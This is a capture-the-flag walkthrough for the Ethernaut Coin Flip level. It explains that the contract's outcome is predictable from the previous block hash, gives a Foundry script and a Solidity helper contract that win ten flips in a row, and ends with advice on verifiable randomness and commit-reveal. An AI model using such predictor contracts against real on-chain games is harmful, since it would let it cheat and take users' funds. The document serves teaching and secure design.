In Ethernaut level 3, Coin Flip, you must guess the result ten times in a row. We'll use Foundry in the SCH CTF Arena to calculate each guess from the previous block hash.
Contract overview
flip(bool _guess) compares the submitted guess with a side calculated by the contract. It returns true and increments consecutiveWins for a correct guess, or returns false and resets the count for an incorrect one.
The contract also stores lastHash, which prevents it from accepting the same block hash twice, and FACTOR, the divisor used to turn a 256-bit hash into a boolean result. There is no owner check. The win condition is the streak stored in consecutiveWins.
The result is public before the guess
The target reads the previous block hash, divides it by FACTOR and uses the quotient as the side:
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
FACTOR is the decimal representation of 2 ** 255:
57896044618658097711785492504343953926634992332820282019728792003956564819968
Since FACTOR is 2 ** 255, the quotient is 0 when the hash's highest bit is clear and 1 when it is set. The previous block already exists when flip() runs, so another contract in the same transaction can read the hash and compute the answer.
Why ten calls in one block fail
The contract rejects a second flip using the same previous-block hash:
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
Ten calls in one transaction reuse the same hash, so the second call reverts. If the revert is not caught, it also rolls back the first call. A wrong guess instead returns false and resets consecutiveWins to zero.
Run the solution in SCH
The verifier advances the block before each call to run(), so this script makes one flip per call:
function run() external {
vm.startBroadcast(PLAYER_PRIVATE_KEY);
uint256 factor = uint256(1) << 255;
uint256 previousHash = uint256(blockhash(block.number - 1));
bool side = previousHash / factor == 1;
require(coinflipInstance.flip(side), "incorrect prediction");
vm.stopBroadcast();
}
The shift sets factor to 2 ** 255. The function computes the same side as the target, then submits it as the player's guess.
Verify ten consecutive wins
Check answer runs the script across ten simulated blocks and requires consecutiveWins() == 10.
Excerpt from the passing local ten-round Foundry test.
Use a helper contract on chain
In the Arena, Foundry runs run() against a simulated block. On chain, a separate transaction may land after the next block, making an off-chain guess stale. A helper contract reads the hash and calls the target in one transaction:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool guess) external returns (bool);
}
contract CoinFlipSolver {
ICoinFlip public immutable target;
uint256 private constant FACTOR = uint256(1) << 255;
constructor(address targetAddress) {
target = ICoinFlip(targetAddress);
}
function winOnce() external {
uint256 previousHash = uint256(blockhash(block.number - 1));
bool side = previousHash / FACTOR == 1;
require(target.flip(side), "incorrect prediction");
}
}
Deploy the helper with the target address. Call winOnce() once per block until the count reaches ten. A second call with the same hash reverts. Coin Flip checks the win count, not the caller's identity.
Watch Johnny's walkthrough
Watch on YouTube if the embedded player is unavailable.
Replace predictable block data
The guess is predictable because the contract uses a value that is already public. Hashing public block data again does not make it secret. Solidity's private visibility also does not encrypt on-chain storage.
Use a verifiable randomness service or a carefully designed commit-reveal protocol instead of calculating the result from public block data. Bind each request to the player's committed input and prevent users from replacing or cancelling an unfavorable request.
Chainlink's VRF security notes cover request handling. Commit-reveal designs must also account for participants who refuse to reveal.
Challenge source: OpenZeppelin Ethernaut CoinFlip. Try Coin Flip in the Arena or read Fallback and Fallout.